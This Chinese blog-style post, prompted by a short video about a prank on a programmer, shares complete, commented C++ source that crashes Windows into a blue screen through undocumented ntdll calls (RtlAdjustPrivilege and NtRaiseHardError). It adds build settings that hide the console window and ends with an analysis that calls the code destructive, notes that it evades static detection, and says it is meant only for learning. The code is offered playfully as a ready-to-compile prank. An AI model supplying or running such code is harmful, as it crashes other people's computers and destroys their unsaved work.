刷到抖音“程序员说”第七集,讲到一个java程序员每次摸鱼玩QQ飞车,还没玩到终点就蓝屏。
然后解释了用C++代码整人的源码。
好好好这么玩儿是吧,那么今天我给大家分享一个超级超级超级超级......咳咳咳...牛逼的蓝屏代码废话不多说直接来到大家超级超级超级超级......咳咳咳......喜欢的代码时间。
#include <Windows.h>
// 包含了 Windows 编程所需的头文件,提供了与 Windows 操作系统进行交互的各种函数、数据结构和常量定义
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
// WinMain 是 Windows 应用程序的入口点函数。
// HINSTANCE hInstance 是当前应用程序的实例句柄。
// HINSTANCE hPrevInstance 在 32 位 Windows 中始终为 NULL,已废弃。
// LPSTR lpCmdLine 是命令行参数。
// int nCmdShow 决定了窗口的初始显示方式
{
HMODULE ntdll = LoadLibrary(L"ntdll.dll");
// 使用 LoadLibrary 函数动态加载 ntdll.dll 库。
// ntdll.dll 是 Windows 内核的重要模块,包含了许多底层的系统函数。
FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege");
// 通过 GetProcAddress 函数获取 ntdll.dll 库中 "RtlAdjustPrivilege" 函数的地址。
FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError");
// 同样通过 GetProcAddress 函数获取 "NtRaiseHardError" 函数的地址。
unsigned char ErrKill;
// 定义一个无符号字符类型的变量 ErrKill,用于存储相关数据。
long unsigned int HDErr;
// 定义一个无符号长整型变量 HDErr,用于存储相关数据。
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill);
// 进行函数指针的类型转换,并调用 "RtlAdjustPrivilege" 函数,传递了特定的参数 0x13、true、false 和 ErrKill 的地址。
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr);
// 进行函数指针的类型转换,并调用 "NtRaiseHardError" 函数,传递了特定的参数 0xc0000233 等和 HDErr 的地址。
return 0;
// 返回 0,表示程序正常结束。
}
检查项目配置
右键项目 → 属性 → 链接器 → 系统 → 子系统:
选择 Windows (/SUBSYSTEM:WINDOWS)。
这段代码的作用是触发 Windows 系统的蓝屏死机(BSOD),属于恶意破坏性代码。以下是关键点分析:
-
核心机制:
- 通过
ntdll.dll 调用两个未公开的底层函数:
RtlAdjustPrivilege(0x13,...) 启用高权限(0x13对应SeShutdownPrivilege 关机权限)
NtRaiseHardError(0xC0000233,...) 故意触发系统致命错误(参数0xC0000233是STATUS_SYSTEM_PROCESS_TERMINATED错误码)
-
行为表现:
- 执行后会导致系统立即显示蓝屏错误界面
- 可能造成未保存数据丢失
- 需要强制重启计算机才能恢复
-
技术细节:
- 使用了动态加载DLL的方式绕过静态检测
- 直接调用Windows内核未文档化API
- 参数6表示触发"终止响应"(系统崩溃)
-
危害性:
- 属于破坏性代码
- 可能违反计算机滥用相关法律
- 实际应用中绝对不应使用此类代码
请注意:此类代码仅用于学习Windows内部机制,在实际开发中严禁使用。编译运行此类代码会导致系统立即崩溃,所有未保存数据将丢失。
|